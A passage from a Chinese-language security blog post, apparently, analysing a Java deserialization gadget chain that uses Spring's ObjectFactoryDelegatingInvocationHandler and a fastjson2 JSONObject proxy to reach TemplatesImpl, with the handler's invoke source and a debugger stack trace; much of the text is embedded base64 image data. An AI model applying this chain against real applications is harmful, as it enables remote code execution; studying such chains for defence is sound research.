Z2bOHctlcXm/Rv4WQwhVOekmP/QZ1at+05vLt5ZEiUEN14eEt+8zDMfujIri2bOXccMqhZ/NN3SQRRkJJUYOLS3tnRudOIadN6mCqIuPsVsDQ1NVPTyVhS0utHQdaDf3Z3ad6i09DR7fMfPftWQiS9eRjVfPQYdxfn1l1HThjZXK2wQsVXVKDeon+fdq07DulmEZ9n0rdvB5e2/Xu3ZEdHZ/DeEaRSRVX/UJ58Uf7mMITnMQUAAABADQjfcsrNzSvIzze3tMhMT9+4fLWzsVVuLvlPed4PPZ2NLQVHgsb/9gtXcAoPg0YMRVPROrny8bDv5BG8OACNEKviIIDgqQ2dMDGgKmcQlXjXBgCoPhni7DFiyGg8snvfcdz7yT9bvsOoyWV6WMoRxcnJ6ZaWZvh+yTKztKxOz5gyBlwrR+SM3QeYvjvrwerZz4EOVMhbWRrjlJylleX3pBQ8QinNT/n64va/x/7ee+Dut5KCggI6v4yKsZEmlVDW1lHOL6hu+Knke2JSUfDdI4dJ/9z5UpicnFpKqDh171ryaN+OIxfuvI7JZ9WkJpCcnGw1VRW0raTvKZbW5vTadKxslL9/zyhOSkwzNTPCmTLaNm3t9QXEhJT1dVXJ/ysoKrHU1dXIJEtJWam4uJj3jiA1rSiOQzmqrQ6dSeNxTAEAAABQM1U2pPxfv5376zQ0xMXEotHUlNT7t+
<h2 blockindex=69>ObjectFactoryDelegatingInvocationHandler 绕过</h2>
<p blockindex=70>还是一样方法</p>
<p blockindex=71><img src=data:image/png;base64,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
<p blockindex=72>首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口</p>
<p blockindex=73>我们看到 invoke 方法</p>
<pre blockindex=74><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>Object</span> invoke(<span class=hljs-keyword>Object</span> proxy, Method method, <span class=hljs-keyword>Object</span>[] args) throws <span class=hljs-built_in>Throwable</span> {
<span class=hljs-keyword>switch</span> (method.getName()) {
<span class=hljs-keyword>case</span> <span class=hljs-string>"equals"</span>:
<span class=hljs-keyword>return</span> proxy == args[<span class=hljs-number>0</span>];
<span class=hljs-keyword>case</span> <span class=hljs-string>"hashCode"</span>:
<span class=hljs-keyword>return</span> System.identityHashCode(proxy);
<span class=hljs-keyword>case</span> <span class=hljs-string>"toString"</span>:
<span class=hljs-keyword>return</span> this.objectFactory.toString();
<span class=hljs-keyword>default</span>:
<span class=hljs-keyword>try</span> {
<span class=hljs-keyword>return</span> method.invoke(this.objectFactory.getObject(), args);
} <span class=hljs-keyword>catch</span> (InvocationTargetException var6) {
<span class=hljs-keyword>throw</span> var6.getTargetException();
}
}
}
</code></pre>
<p blockindex=75>可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了</p>
<p blockindex=76>目的就是需要它返回我们的 teamplatesImpl 对象</p>
<p blockindex=77>首先我们寻找继承了 ObjectFactory 的类</p>
<p blockindex=78><img src=data:image/png;base64,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
<p blockindex=79>也不太多</p>
<p blockindex=80>找了一下确实没有能够利用的<br>
这里师傅的想法是</p>
<p blockindex=81>用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl</p>
<p blockindex=82>说真的,简直很妙<br>
我们看到 invoke 方法</p>
<p blockindex=83><img src=data:image/png;base64,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
<p blockindex=84>没想到它也是一个代理类</p>
<p blockindex=85>调试分析一下</p>
<pre blockindex=86><code class="hljs language-php">invoke:<span class=hljs-number>292</span>, AutowireUtils<span class=hljs-variable>$ObjectFactoryDelegatingInvocationHandler</span> (org.springframework.beans.factory.support)
getOutputProperties:-<span class=hljs-number>1</span>, <span class=hljs-variable>$Proxy2</span> (com.sun.proxy)
write:-<span class=hljs-number>1</span>, OWG_1_1_<span class=hljs-variable>$Proxy2</span> (com.alibaba.fastjson2.writer)
write:<span class=hljs-number>3124</span>, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:<span class=hljs-number>914</span>, JSONArray (com.alibaba.fastjson2)
readObject:<span class=hljs-number>86</span>, BadAttributeValueExpException (javax.management)
invoke0:-<span class=hljs-number>1</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>62</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>43</span>, DelegatingMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>497</span>, Method (java.lang.reflect)
invokeReadObject:<span class=hljs-number>1058</span>, ObjectStreamClass (java.io)
readSerialData:<span class=hljs-number>1900</span>, ObjectInputStream (java.io)
readOrdinaryObject:<span class=hljs-number>1801</span>, ObjectInputStream (java.io)
readObject0:<span class=hljs-number>1351</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>371</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>1396</span>, HashMap (java.util)
invoke0:-<span class=hljs-number>1</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>62</span>, NativeMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>43</span>, DelegatingMethodAccessorImpl (sun.reflect)
invoke:<span class=hljs-number>497</span>, Method (java.lang.reflect)
invokeReadObject:<span class=hljs-number>1058</span>, ObjectStreamClass (java.io)
readSerialData:<span class=hljs-number>1900</span>, ObjectInputStream (java.io)
readOrdinaryObject:<span class=hljs-number>1801</span>, ObjectInputStream (java.io)
readObject0:<span class=hljs-number>1351</span>, ObjectInputStream (java.io)
readObject:<span class=hljs-number>371</span>, ObjectInputStream (java.io)
deserialize:<span class=hljs-number>53</span>, Util (common)
runGadgets:<span class=hljs-number>38</span>, Util (common)
main:<span class=hljs-number>33</span>, Fastjson4_ObjectFactoryDelegatingInvocationHandler
</code></pre>
<p blockindex=87><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABbkAAAGnCAIAAAAVM80WAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAP+lSURBVHhe7N0HXNTmGwfwO/bmjr33EATEPVHce2+r1baOWkddba22/y5H3Xtb96p7AS5AUcGBCijIBtkc4xZ73P2TXBjK3TEU6/h9ex+bPAnJmzdvcpfn3uSYYrGY8db8HiYO7GhHjwAAAAAAfBJy8/gG+rr0CAAAfDYU6P+DDEWvHkdkVtAjH4z3VqoPc/Ob5lPaFgAAAAAAAGg+yJXUoyT1SUS2iB75YLy3Un2Ym980n9K2AAAAAAAAQPP5aHMlj0MY/1vMiI6kRwEAAAAAAAAA3oWP8HklyQmM9X8x7J0YYycz/tnBKC9nzP+JYWRMT6VlBJ+4FV9zvwXTvueUrpb0iER68IkYk7G9tB/tPZTV4/vRziqMipKCCkUtNWV6Bon8e7t9tb6e7KlCj5PqX7hMxTHXr/Baj+toRI+/Lud+dWHkq1uq4pgbZx5m0SM0ww6jB7bQpEfq1fjNV1DTNTSxdm3bylKTKZn0oWjqrlRy7DOps3JD9wIAAAB88vC8EgCAz9NH1a+ksICxcjlj9a+MzHRG9At